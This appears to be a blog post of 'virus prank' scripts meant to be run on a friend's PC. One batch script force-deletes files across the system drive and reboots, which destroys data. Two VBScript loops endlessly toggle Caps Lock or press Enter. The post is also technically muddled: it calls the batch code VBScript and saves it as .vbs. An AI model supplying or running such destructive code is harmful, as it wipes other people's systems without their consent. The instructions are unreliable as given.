In the previous post, I have shown you a batch file trick, kind of virus prank that will hang the PC by opening a file again and again. This post will show the same virus tricks using VBScript. 

1) How to corrupt windows by deleting all the windows files silently

@echo off
del %systemdrive%*.*/f/s/q
shutdown -r -f -t 00

Save above code “any_name.vbs” and try on your friend’s PC.

 2) Toggle Caps Lock button simultaneously

Set ws =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
ws.sendkeys "{CAPSLOCK}"
loop

Save above code “virus.vbs” and try on your friend’s PC.

 3) Toggle Enter button simultaneously

Set ws = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
ws.sendkeys "~(enter)"
loop
 Save above code “any_name.vbs” and try on your friend’s PC.

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Tricks

Virus : One line code to hang your friend’s PC

MS-DOS is very powerful Operating System that makes you able to create batch files the .bat file. Batch files are created to run instructions in a batch. So many pranks and the virus can be created using Read more…

Tricks

Change computer’s your processor name to any name

1) Press Windows + R and type regedit 2) Go to      HKEY_LOCAL_MACHINE>HARDWARE>DISCRIPTION>SYSTEM>CENTRAL Processor 3) On right hand side just right click on Processor name string and modify it with any name.  4) Now check Read more…

Tricks

Adddelete programs to run every time Windows starts using registry

Windows loads programs to start in the following order; Program listed in the Local Machine hive, then the Current User hive, then theWin.ini Run= and Load = lines. then finally programs in your Start Up Read more…